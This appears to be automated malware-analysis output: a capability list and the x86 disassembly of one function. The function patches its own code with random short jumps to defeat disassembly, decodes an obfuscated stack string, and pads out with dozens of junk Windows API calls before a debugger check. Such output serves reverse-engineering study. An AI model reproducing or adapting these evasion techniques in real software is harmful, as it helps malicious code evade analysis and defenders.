Function at 0xa8d000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create pipe
Delete directory
Delete file
Delete registry key
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk size
Get geographical location
Get graphical window text
Identify system language via api
Query environment variable
Set environment variable
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 0x10], 0xa8d78a
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa8d036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa8d1e2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa8d0b8
call fcn.0046b632
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8d07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa8d094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa8d094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8d04a
mov byte [ebp - 0x74], 9
mov byte [ebp - 0x73], 0x6a
mov byte [ebp - 0x72], 1
mov byte [ebp - 0x71], 0x78
mov byte [ebp - 0x70], 2
mov byte [ebp - 0x6f], 0x73
mov byte [ebp - 0x6e], 0
mov byte [ebp - 0x6d], 0x79
mov byte [ebp - 0x6c], 3
mov byte [ebp - 0x6b], 0x29
mov byte [ebp - 0x6a], 8
mov byte [ebp - 0x69], 0x7b
mov byte [ebp - 0x68], 4
mov byte [ebp - 0x67], 0x84
mov byte [ebp - 0x66], 7
mov byte [ebp - 0x65], 0x70
mov byte [ebp - 0x64], 5
mov byte [ebp - 0x63], 0x7a
mov byte [ebp - 0x62], 6
mov byte [ebp - 0x61], 0x81
mov byte [ebp - 0x60], 0x16
mov byte [ebp - 0x5f], 0x6b
mov byte [ebp - 0x5e], 0x93
mov byte [ebp - 0x5d], 0xbf
mov byte [ebp - 0x5c], 0xc3
mov byte [ebp - 0x5b], 0xd0
mov byte [ebp - 0x5a], 0x4b
mov byte [ebp - 0x59], 0x22
mov byte [ebp - 0x58], 0x36
mov byte [ebp - 0x57], 0xdf
mov byte [ebp - 0x56], 0x27
mov byte [ebp - 0x55], 0xb8
mov byte [ebp - 0x54], 0x3b
mov byte [ebp - 0x53], 0xbe
mov byte [ebp - 0x52], 3
mov byte [ebp - 0x51], 0xf9
mov byte [ebp - 0x50], 0x36
mov byte [ebp - 0x4f], 0xce
mov byte [ebp - 0x4e], 0xe
mov byte [ebp - 0x4d], 0x6b
mov byte [ebp - 0x4c], 0x69
mov byte [ebp - 0x4b], 0xdd
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa8d172
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2a
jae 0xa8d1d7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa8d19e
mov dword [ebp - 0x24], 0x16
mov eax, dword [ebp - 8]
add eax, 0x14
mov dword [ebp - 8], eax
jmp 0xa8d16a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x73]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa8d1c6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa8d1b3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x74]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa8d16a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa8203a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004075e5
mov ecx, eax
call fcn.00402d99
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402d3d
and dword [ebp - 0x1c], 0
jmp 0xa8d21a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa8d22a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa8d213
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x16e9
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0x81
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0x61a
push 0
push 0x264d
push 0
push 0x2236
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push 0x156b
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
push 1
push 0x574
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
push 0
push 0x1db9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x1575
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x122a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0
push 0xd8a
push 0x262a
push 0x16d9
push 0xc72
push 0x540
push 0xc20
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x24f6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 1
push 0xd1f
push 0x22ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0xf4b
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0xe55
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0x2061
push 0x1bec
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
push 0
push 0x76e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1596
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push 0
push 0x110c
push 0x104c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
push 0xc68
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0
push 0
push 0x217b
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0x1744
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x1995
push 0
push 0x17e1
push 0
push 0x7ff
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0x164a
push 0x1f24
push 0x73c
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x93b
push 0x1c35
push 0
push 0x2128
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x5ef
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x3d1
call dword [sym.imp.KERNEL32.dll_ExitProcess]